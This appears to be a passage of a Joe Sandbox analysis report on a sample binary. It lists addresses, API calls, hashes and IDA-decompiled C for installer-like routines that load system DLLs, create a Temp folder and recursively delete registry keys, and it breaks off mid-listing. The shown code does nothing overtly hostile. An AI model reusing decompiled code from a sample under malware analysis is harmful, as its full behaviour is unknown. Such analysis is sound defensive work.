                                                                                                                0x0040274c
                                                                                                                0x00402751
                                                                                                                0x00402758
                                                                                                                0x00402760
                                                                                                                0x00000000
                                                                                                                0x00402766
                                                                                                                0x00402766
                                                                                                                0x0040276b
                                                                                                                0x00000000
                                                                                                                0x00402771
                                                                                                                0x00402771
                                                                                                                0x00402779
                                                                                                                0x0040277c
                                                                                                                0x0040277f
                                                                                                                0x0040283a
                                                                                                                0x00402841
                                                                                                                0x00402785
                                                                                                                0x0040278b
                                                                                                                0x00402797
                                                                                                                0x00402801
                                                                                                                0x00402801
                                                                                                                0x00402799
                                                                                                                0x00402799
                                                                                                                0x0040279c
                                                                                                                0x0040279e
                                                                                                                0x0040279e
                                                                                                                0x0040279e
                                                                                                                0x004027a1
                                                                                                                0x004027a6
                                                                                                                0x004027a9
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x004027ab
                                                                                                                0x004027ae
                                                                                                                0x004027b6
                                                                                                                0x004027c2
                                                                                                                0x004027d0
                                                                                                                0x00000000
                                                                                                                0x004027d2
                                                                                                                0x00000000
                                                                                                                0x004027d2
                                                                                                                0x00000000
                                                                                                                0x004027d0
                                                                                                                0x0040279e
                                                                                                                0x00402804
                                                                                                                0x00402807
                                                                                                                0x00000000
                                                                                                                0x00402809
                                                                                                                0x0040280e
                                                                                                                0x0040284f
                                                                                                                0x00402871
                                                                                                                0x00402878
                                                                                                                0x0040285d
                                                                                                                0x0040285d
                                                                                                                0x00402860
                                                                                                                0x00402863
                                                                                                                0x00402866
                                                                                                                0x00402866
                                                                                                                0x00000000
                                                                                                                0x00402817
                                                                                                                0x00402817
                                                                                                                0x0040281a
                                                                                                                0x0040281d
                                                                                                                0x00402823
                                                                                                                0x00402827
                                                                                                                0x0040282a
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x0040282a
                                                                                                                0x0040280e
                                                                                                                0x00402807
                                                                                                                0x0040277f
                                                                                                                0x0040276b
                                                                                                                0x00402760
                                                                                                                0x00000000
                                                                                                                0x0040282c
                                                                                                                0x0040282c
                                                                                                                0x0040282f
                                                                                                                0x00402838
                                                                                                                0x00000000
                                                                                                                0x0040272f
                                                                                                                0x0040271a
                                                                                                                0x00402c33
                                                                                                                0x00402c39

                                                                                                                APIs
                                                                                                                • ReadFile.KERNELBASE(?,?,?,?), ref: 00402758
                                                                                                                • MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402793
                                                                                                                • SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027B6
                                                                                                                • MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027CC
                                                                                                                  • Part of subcall function 0040610E: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00406124
                                                                                                                • SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 00402878
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: File$Pointer$ByteCharMultiWide$Read
                                                                                                                • String ID: 9
                                                                                                                • API String ID: 163830602-2366072709
                                                                                                                • Opcode ID: 05ec9e9945247294569ed32eb70c3e484d87f4f0290394ce4997a83a7f1e58dd
                                                                                                                • Instruction ID: 36eba916602f65c1f8b814f2f26102ddc75cc08ed25eda7b441ea0696c55e726
                                                                                                                • Opcode Fuzzy Hash: 05ec9e9945247294569ed32eb70c3e484d87f4f0290394ce4997a83a7f1e58dd
                                                                                                                • Instruction Fuzzy Hash: C551E975D00219AADF20EF95CA89AAEBB79FF04304F10817BE541B62D4D7B49D82CB58
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 1031 40689a-4068ba GetSystemDirectoryW 1032 4068bc 1031->1032 1033 4068be-4068c0 1031->1033 1032->1033 1034 4068d1-4068d3 1033->1034 1035 4068c2-4068cb 1033->1035 1037 4068d4-406907 wsprintfW LoadLibraryExW 1034->1037 1035->1034 1036 4068cd-4068cf 1035->1036 1036->1037
                                                                                                                C-Code - Quality: 100%
                                                                                                                			E0040689A(intOrPtr _a4) {
                                                                                                                				short _v576;
                                                                                                                				signed int _t13;
                                                                                                                				struct HINSTANCE__* _t17;
                                                                                                                				signed int _t19;
                                                                                                                				void* _t24;
                                                                                                                
                                                                                                                				_t13 = GetSystemDirectoryW( &_v576, 0x104);
                                                                                                                				if(_t13 > 0x104) {
                                                                                                                					_t13 = 0;
                                                                                                                				}
                                                                                                                				if(_t13 == 0 ||  *((short*)(_t24 + _t13 * 2 - 0x23e)) == 0x5c) {
                                                                                                                					_t19 = 1;
                                                                                                                				} else {
                                                                                                                					_t19 = 0;
                                                                                                                				}
                                                                                                                				wsprintfW(_t24 + _t13 * 2 - 0x23c, L"%s%S.dll", 0x40a014 + _t19 * 2, _a4);
                                                                                                                				_t17 = LoadLibraryExW( &_v576, 0, 8); // executed
                                                                                                                				return _t17;
                                                                                                                			}








                                                                                                                0x004068b1
                                                                                                                0x004068ba
                                                                                                                0x004068bc
                                                                                                                0x004068bc
                                                                                                                0x004068c0
                                                                                                                0x004068d3
                                                                                                                0x004068cd
                                                                                                                0x004068cd
                                                                                                                0x004068cd
                                                                                                                0x004068ec
                                                                                                                0x00406900
                                                                                                                0x00406907

                                                                                                                APIs
                                                                                                                • GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068B1
                                                                                                                • wsprintfW.USER32 ref: 004068EC
                                                                                                                • LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406900
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: DirectoryLibraryLoadSystemwsprintf
                                                                                                                • String ID: %s%S.dll$UXTHEME$\
                                                                                                                • API String ID: 2200240437-1946221925
                                                                                                                • Opcode ID: 70474fd7a4f9c0ba06a591290262a653731ba096fd3a0e6ffa6d52d828e9795f
                                                                                                                • Instruction ID: 21628a1c63ce2f140fdd4d546058f3b0ba52bdb51e88dcb335987c0e659eada7
                                                                                                                • Opcode Fuzzy Hash: 70474fd7a4f9c0ba06a591290262a653731ba096fd3a0e6ffa6d52d828e9795f
                                                                                                                • Instruction Fuzzy Hash: D0F0F671511119ABDB10BB64DD0DF9B376CBF00305F10847AA646F10D0EB7CDA68CBA8
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 1038 405a6e-405ab9 CreateDirectoryW 1039 405abb-405abd 1038->1039 1040 405abf-405acc GetLastError 1038->1040 1041 405ae6-405ae8 1039->1041 1040->1041 1042 405ace-405ae2 SetFileSecurityW 1040->1042 1042->1039 1043 405ae4 GetLastError 1042->1043 1043->1041
                                                                                                                C-Code - Quality: 100%
                                                                                                                			E00405A6E(WCHAR* _a4) {
                                                                                                                				struct _SECURITY_ATTRIBUTES _v16;
                                                                                                                				struct _SECURITY_DESCRIPTOR _v36;
                                                                                                                				int _t22;
                                                                                                                				long _t23;
                                                                                                                
                                                                                                                				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
                                                                                                                				_v36.Owner = 0x4083f8;
                                                                                                                				_v36.Group = 0x4083f8;
                                                                                                                				_v36.Sacl = _v36.Sacl & 0x00000000;
                                                                                                                				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
                                                                                                                				_v16.lpSecurityDescriptor =  &_v36;
                                                                                                                				_v36.Revision = 1;
                                                                                                                				_v36.Control = 4;
                                                                                                                				_v36.Dacl = 0x4083e8;
                                                                                                                				_v16.nLength = 0xc;
                                                                                                                				_t22 = CreateDirectoryW(_a4,  &_v16); // executed
                                                                                                                				if(_t22 != 0) {
                                                                                                                					L1:
                                                                                                                					return 0;
                                                                                                                				}
                                                                                                                				_t23 = GetLastError();
                                                                                                                				if(_t23 == 0xb7) {
                                                                                                                					if(SetFileSecurityW(_a4, 0x80000007,  &_v36) != 0) {
                                                                                                                						goto L1;
                                                                                                                					}
                                                                                                                					return GetLastError();
                                                                                                                				}
                                                                                                                				return _t23;
                                                                                                                			}







                                                                                                                0x00405a79
                                                                                                                0x00405a7d
                                                                                                                0x00405a80
                                                                                                                0x00405a86
                                                                                                                0x00405a8a
                                                                                                                0x00405a8e
                                                                                                                0x00405a96
                                                                                                                0x00405a9d
                                                                                                                0x00405aa3
                                                                                                                0x00405aaa
                                                                                                                0x00405ab1
                                                                                                                0x00405ab9
                                                                                                                0x00405abb
                                                                                                                0x00000000
                                                                                                                0x00405abb
                                                                                                                0x00405ac5
                                                                                                                0x00405acc
                                                                                                                0x00405ae2
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00405ae4
                                                                                                                0x00405ae8

                                                                                                                APIs
                                                                                                                • CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405AB1
                                                                                                                • GetLastError.KERNEL32 ref: 00405AC5
                                                                                                                • SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 00405ADA
                                                                                                                • GetLastError.KERNEL32 ref: 00405AE4
                                                                                                                Strings
                                                                                                                • C:\Users\user\AppData\Local\Temp\, xrefs: 00405A94
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: ErrorLast$CreateDirectoryFileSecurity
                                                                                                                • String ID: C:\Users\user\AppData\Local\Temp\
                                                                                                                • API String ID: 3449924974-3355392842
                                                                                                                • Opcode ID: 79915fdb32ce531948ad707932686e2b3240d3ac97543659e1c0f9af800e449c
                                                                                                                • Instruction ID: 637b0a295f6611997b04f2fb2f8121e2d74ae93851c1d74b8ff7b710bfe1865b
                                                                                                                • Opcode Fuzzy Hash: 79915fdb32ce531948ad707932686e2b3240d3ac97543659e1c0f9af800e449c
                                                                                                                • Instruction Fuzzy Hash: 1A010871D04219EAEF019BA0DD84BEFBBB4EB14314F00813AD545B6281E7789648CFE9
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 1044 402ea9-402ed2 call 4063aa 1046 402ed7-402edb 1044->1046 1047 402ee1-402ee5 1046->1047 1048 402f8c-402f90 1046->1048 1049 402ee7-402f08 RegEnumValueW 1047->1049 1050 402f0a-402f1d 1047->1050 1049->1050 1051 402f71-402f7f RegCloseKey 1049->1051 1052 402f46-402f4d RegEnumKeyW 1050->1052 1051->1048 1053 402f1f-402f21 1052->1053 1054 402f4f-402f61 RegCloseKey call 40690a 1052->1054 1053->1051 1055 402f23-402f37 call 402ea9 1053->1055 1060 402f81-402f87 1054->1060 1061 402f63-402f6f RegDeleteKeyW 1054->1061 1055->1054 1062 402f39-402f45 1055->1062 1060->1048 1061->1048 1062->1052
                                                                                                                C-Code - Quality: 48%
                                                                                                                			E00402EA9(void* __eflags, void* _a4, short* _a8, signed int _a12) {
                                                                                                                				void* _v8;
                                                                                                                				int _v12;
                                                                                                                				short _v536;
                                                                                                                				void* _t27;
                                                                                                                				signed int _t33;
                                                                                                                				intOrPtr* _t35;
                                                                                                                				signed int _t45;
                                                                                                                				signed int _t46;
                                                                                                                				signed int _t47;
                                                                                                                
                                                                                                                				_t46 = _a12;
                                                                                                                				_t47 = _t46 & 0x00000300;
                                                                                                                				_t45 = _t46 & 0x00000001;
                                                                                                                				_t27 = E004063AA(__eflags, _a4, _a8, _t47 | 0x00000009,  &_v8); // executed
                                                                                                                				if(_t27 == 0) {
                                                                                                                					if((_a12 & 0x00000002) == 0) {
                                                                                                                						L3:
                                                                                                                						_push(0x105);
                                                                                                                						_push( &_v536);
                                                                                                                						_push(0);
                                                                                                                						while(RegEnumKeyW(_v8, ??, ??, ??) == 0) {
                                                                                                                							__eflags = _t45;
                                                                                                                							if(__eflags != 0) {
                                                                                                                								L10:
                                                                                                                								RegCloseKey(_v8);
                                                                                                                								return 0x3eb;
                                                                                                                							}
                                                                                                                							_t33 = E00402EA9(__eflags, _v8,  &_v536, _a12);
                                                                                                                							__eflags = _t33;
                                                                                                                							if(_t33 != 0) {
                                                                                                                								break;
                                                                                                                							}
                                                                                                                							_push(0x105);
                                                                                                                							_push( &_v536);
                                                                                                                							_push(_t45);
                                                                                                                						}
                                                                                                                						RegCloseKey(_v8);
                                                                                                                						_t35 = E0040690A(3);
                                                                                                                						if(_t35 != 0) {
                                                                                                                							return  *_t35(_a4, _a8, _t47, 0);
                                                                                                                						}
                                                                                                                						return RegDeleteKeyW(_a4, _a8);
                                                                                                                					}
                                                                                                                					_v12 = 0;
                                                                                                                					if(RegEnumValueW(_v8, 0,  &_v536,  &_v12, 0, 0, 0, 0) != 0x103) {
                                                                                                                						goto L10;
                                                                                                                					}
                                                                                                                					goto L3;
                                                                                                                				}
                                                                                                                				return _t27;
                                                                                                                			}












                                                                                                                0x00402eb4
                                                                                                                0x00402ebd
                                                                                                                0x00402ec6
                                                                                                                0x00402ed2
                                                                                                                0x00402edb
                                                                                                                0x00402ee5
                                                                                                                0x00402f0a
                                                                                                                0x00402f10
                                                                                                                0x00402f15
                                                                                                                0x00402f16
                                                                                                                0x00402f46
                                                                                                                0x00402f1f
                                                                                                                0x00402f21
                                                                                                                0x00402f71
                                                                                                                0x00402f74
                                                                                                                0x00000000
                                                                                                                0x00402f7a
                                                                                                                0x00402f30
                                                                                                                0x00402f35
                                                                                                                0x00402f37
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00402f3f
                                                                                                                0x00402f44
                                                                                                                0x00402f45
                                                                                                                0x00402f45
                                                                                                                0x00402f52
                                                                                                                0x00402f5a
                                                                                                                0x00402f61
                                                                                                                0x00000000
                                                                                                                0x00402f8a
                                                                                                                0x00000000
                                                                                                                0x00402f69
                                                                                                                0x00402ef5
                                                                                                                0x00402f08
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00402f08
                                                                                                                0x00402f90

                                                                                                                APIs
                                                                                                                • RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402EFD
                                                                                                                • RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F49
                                                                                                                • RegCloseKey.ADVAPI32(?,?,?), ref: 00402F52
                                                                                                                • RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F69
                                                                                                                • RegCloseKey.ADVAPI32(?,?,?), ref: 00402F74
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: CloseEnum$DeleteValue
                                                                                                                • String ID:
                                                                                                                • API String ID: 1354259210-0
                                                                                                                • Opcode ID: 78d35a7524f1d2205fa0e87ab22fa6bfb41dfe8b1a27fd9ec563711b6eb4cb1f
                                                                                                                • Instruction ID: ca6229ec891c5908b4c2d3bab14ae3db7b9396451d72a40731f1c02386a45f13
                                                                                                                • Opcode Fuzzy Hash: 78d35a7524f1d2205fa0e87ab22fa6bfb41dfe8b1a27fd9ec563711b6eb4cb1f
                                                                                                                • Instruction Fuzzy Hash: DA215A7150010ABBEF119F90CE89EEF7B7DEB50384F100076F909B21A0D7B49E54AA68
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 1063 70691817-70691856 call 70691bff 1067 7069185c-70691860 1063->1067 1068 70691976-70691978 1063->1068 1069 70691869-70691876 call 70692480 1067->1069 1070 70691862-70691868 call 7069243e 1067->1070 1075 70691878-7069187d 1069->1075 1076 706918a6-706918ad 1069->1076 1070->1069 1079 70691898-7069189b 1075->1079 1080 7069187f-70691880 1075->1080 1077 706918cd-706918d1 1076->1077 1078 706918af-706918cb call 70692655 call 70691654 call 70691312 GlobalFree 1076->1078 1085 7069191e-70691924 call 70692655 1077->1085 1086 706918d3-7069191c call 70691666 call 70692655 1077->1086 1102 70691925-70691929 1078->1102 1079->1076 1081 7069189d-7069189e call 70692e23 1079->1081 1083 70691888-70691889 call 70692b98 1080->1083 1084 70691882-70691883 1080->1084 1095 706918a3 1081->1095 1098 7069188e 1083->1098 1090 70691890-70691896 call 70692810 1084->1090 1091 70691885-70691886 1084->1091 1085->1102 1086->1102 1101 706918a5 1090->1101 1091->1076 1091->1083 1095->1101 1098->1095 1101->1076 1106 7069192b-70691939 call 70692618 1102->1106 1107 70691966-7069196d 1102->1107 1113 7069193b-7069193e 1106->1113 1114 70691951-70691958 1106->1114 1107->1068 1109 7069196f-70691970 GlobalFree 1107->1109 1109->1068 1113->1114 1115 70691940-70691948 1113->1115 1114->1107 1116 7069195a-70691965 call 706915dd 1114->1116 1115->1114 1117 7069194a-7069194b FreeLibrary 1115->1117 1116->1107 1117->1114
                                                                                                                C-Code - Quality: 88%
                                                                                                                			E70691817(void* __edx, void* __edi, void* __esi, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
                                                                                                                				void _v36;
                                                                                                                				char _v136;
                                                                                                                				struct HINSTANCE__* _t37;
                                                                                                                				intOrPtr _t42;
                                                                                                                				void* _t48;
                                                                                                                				void* _t49;
                                                                                                                				void* _t50;
                                                                                                                				void* _t54;
                                                                                                                				intOrPtr _t57;
                                                                                                                				signed int _t61;
                                                                                                                				signed int _t63;
                                                                                                                				void* _t67;
                                                                                                                				void* _t68;
                                                                                                                				void* _t72;
                                                                                                                				void* _t76;
                                                                                                                
                                                                                                                				_t76 = __esi;
                                                                                                                				_t68 = __edi;
                                                                                                                				_t67 = __edx;
                                                                                                                				 *0x7069506c = _a8;
                                                                                                                				 *0x70695070 = _a16;
                                                                                                                				 *0x70695074 = _a12;
                                                                                                                				 *((intOrPtr*)(_a20 + 0xc))( *0x70695048, E70691651);
                                                                                                                				_push(1); // executed
                                                                                                                				_t37 = E70691BFF(); // executed
                                                                                                                				_t54 = _t37;
                                                                                                                				if(_t54 == 0) {
                                                                                                                					L28:
                                                                                                                					return _t37;
                                                                                                                				} else {
                                                                                                                					if( *((intOrPtr*)(_t54 + 4)) != 1) {
                                                                                                                						E7069243E(_t54);
                                                                                                                					}
                                                                                                                					_push(_t54);
                                                                                                                					E70692480(_t67);
                                                                                                                					_t57 =  *((intOrPtr*)(_t54 + 4));
                                                                                                                					if(_t57 == 0xffffffff) {
                                                                                                                						L14:
                                                                                                                						if(( *(_t54 + 0x1010) & 0x00000004) == 0) {
                                                                                                                							if( *((intOrPtr*)(_t54 + 4)) == 0) {
                                                                                                                								_push(_t54);
                                                                                                                								_t37 = E70692655();
                                                                                                                							} else {
                                                                                                                								_push(_t76);
                                                                                                                								_push(_t68);
                                                                                                                								_t61 = 8;
                                                                                                                								_t13 = _t54 + 0x1018; // 0x1018
                                                                                                                								memcpy( &_v36, _t13, _t61 << 2);
                                                                                                                								_t42 = E70691666(_t54,  &_v136);
                                                                                                                								 *(_t54 + 0x1034) =  *(_t54 + 0x1034) & 0x00000000;
                                                                                                                								_t18 = _t54 + 0x1018; // 0x1018
                                                                                                                								_t72 = _t18;
                                                                                                                								_push(_t54);
                                                                                                                								 *((intOrPtr*)(_t54 + 0x1020)) = _t42;
                                                                                                                								 *_t72 = 4;
                                                                                                                								E70692655();
                                                                                                                								_t63 = 8;
                                                                                                                								_t37 = memcpy(_t72,  &_v36, _t63 << 2);
                                                                                                                							}
                                                                                                                						} else {
                                                                                                                							_push(_t54);
                                                                                                                							E70692655();
                                                                                                                							_t37 = GlobalFree(E70691312(E70691654(_t54)));
                                                                                                                						}
                                                                                                                						if( *((intOrPtr*)(_t54 + 4)) != 1) {
                                                                                                                							_t37 = E70692618(_t54);
                                                                                                                							if(( *(_t54 + 0x1010) & 0x00000040) != 0 &&  *_t54 == 1) {
                                                                                                                								_t37 =  *(_t54 + 0x1008);
                                                                                                                								if(_t37 != 0) {
                                                                                                                									_t37 = FreeLibrary(_t37);
                                                                                                                								}
                                                                                                                							}
                                                                                                                							if(( *(_t54 + 0x1010) & 0x00000020) != 0) {
                                                                                                                								_t37 = E706915DD( *0x70695068);
                                                                                                                							}
                                                                                                                						}
                                                                                                                						if(( *(_t54 + 0x1010) & 0x00000002) != 0) {
                                                                                                                							goto L28;
                                                                                                                						} else {
                                                                                                                							return GlobalFree(_t54);
                                                                                                                						}
                                                                                                                					}
                                                                                                                					_t48 =  *_t54;
                                                                                                                					if(_t48 == 0) {
                                                                                                                						if(_t57 != 1) {
                                                                                                                							goto L14;
                                                                                                                						}
                                                                                                                						E70692E23(_t54);
                                                                                                                						L12:
                                                                                                                						_t54 = _t48;
                                                                                                                						L13:
                                                                                                                						goto L14;
                                                                                                                					}
                                                                                                                					_t49 = _t48 - 1;
                                                                                                                					if(_t49 == 0) {
                                                                                                                						L8:
                                                                                                                						_t48 = E70692B98(_t57, _t54); // executed
                                                                                                                						goto L12;
                                                                                                                					}
                                                                                                                					_t50 = _t49 - 1;
                                                                                                                					if(_t50 == 0) {
                                                                                                                						E70692810(_t54);
                                                                                                                						goto L13;
                                                                                                                					}
                                                                                                                					if(_t50 != 1) {
                                                                                                                						goto L14;
                                                                                                                					}
                                                                                                                					goto L8;
                                                                                                                				}
                                                                                                                			}


















                                                                                                                0x70691817
                                                                                                                0x70691817
                                                                                                                0x70691817
                                                                                                                0x70691824
                                                                                                                0x7069182c
                                                                                                                0x70691839
                                                                                                                0x70691847
                                                                                                                0x7069184a
                                                                                                                0x7069184c
                                                                                                                0x70691851
                                                                                                                0x70691856
                                                                                                                0x70691978
                                                                                                                0x70691978
                                                                                                                0x7069185c
                                                                                                                0x70691860
                                                                                                                0x70691863
                                                                                                                0x70691868
                                                                                                                0x70691869
                                                                                                                0x7069186a
                                                                                                                0x70691870
                                                                                                                0x70691876
                                                                                                                0x706918a6
                                                                                                                0x706918ad
                                                                                                                0x706918d1
                                                                                                                0x7069191e
                                                                                                                0x7069191f
                                                                                                                0x706918d3
                                                                                                                0x706918d3
                                                                                                                0x706918d4
                                                                                                                0x706918dd
